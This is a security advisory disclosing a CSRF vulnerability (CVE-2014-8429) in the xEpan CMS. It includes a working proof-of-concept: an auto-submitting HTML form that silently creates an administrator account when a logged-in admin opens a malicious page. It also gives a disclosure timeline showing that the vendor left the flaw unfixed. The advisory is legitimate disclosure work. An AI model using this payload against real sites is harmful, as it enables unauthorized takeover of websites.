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Сross-Site Request Forgery (CSRF) in xEpan

Advisory ID:HTB23240
Product:xEpan
Vendor:Xavoc Technocrats Pvt. Ltd.
Vulnerable Versions:1.0.1 and probably prior
Tested Version:1.0.1
Advisory Publication:October 22, 2014 [without technical details]
Vendor Notification:October 22, 2014
Public Disclosure:November 26, 2014
Latest Update:November 26, 2014
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2014-8429
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Not Fixed
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in xEpan, which can be exploited to compromise vulnerable web site.


1) Сross-Site Request Forgery (CSRF) in xEpan: CVE-2014-8429

The vulnerability exists due to insufficient validation of the HTTP request origin when creating new user accounts. A remote unauthenticated attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit, create new account with administrative privileges and get total control over the vulnerable website.

A simple CSRF exploit below creates an administrative account with username "immuniweb" and password "password":

<form action="http://[host]/?page=owner/users&web_owner_users_crud_virtualpage=add &submit=web_web_owner_users_crud_virtualpage_form" method="post" name="main">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_name" value="name">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_email" value="email@email.com">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_username" value="immuniweb">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_password" value="password">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_created_at" value="21/10/2014">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_type" value="100">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_is_active" value="1">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_activation_code" value="">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_last_login_date" value="">
<input type="hidden" name="ajax_submit" value="form_submit">
<input type="submit" id="btn">
</form>

<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
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Solution:
Currently we are not aware of any official solution for this vulnerability.

Disclosure timeline:
2014-10-22 Vendor notified via several emails.
2014-10-22 Vendor denies vulnerability.
2014-11-06 Vulnerability is confirmed in the latest version of xEpan 1.0.4 which was released on the 2nd of November (we initially suspected a "silent fix").
2014-11-06 Vulnerability confirmed in 1.0.4 as well. Vendor notified about the problem once again.
2014-11-10 Fix requested via several emails.
2014-11-17 Fix requested via several emails.
2014-11-24 Fix requested via several emails.
2014-11-24 Vulnerability still exist in latest version 1.0.4.1 which was released at November, 20.
2014-11-26 Public disclosure.


References:
[1] High-Tech Bridge Advisory HTB23240 - https://www.immuniweb.com/advisory/HTB23240 - Сross-Site Request Forgery (CSRF) in xEpan.
[2] xEpan - http://www.xepan.org/ - xEpan is a an open source content management system (CMS) with Drag & Drop, bootstrap and live text editing.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
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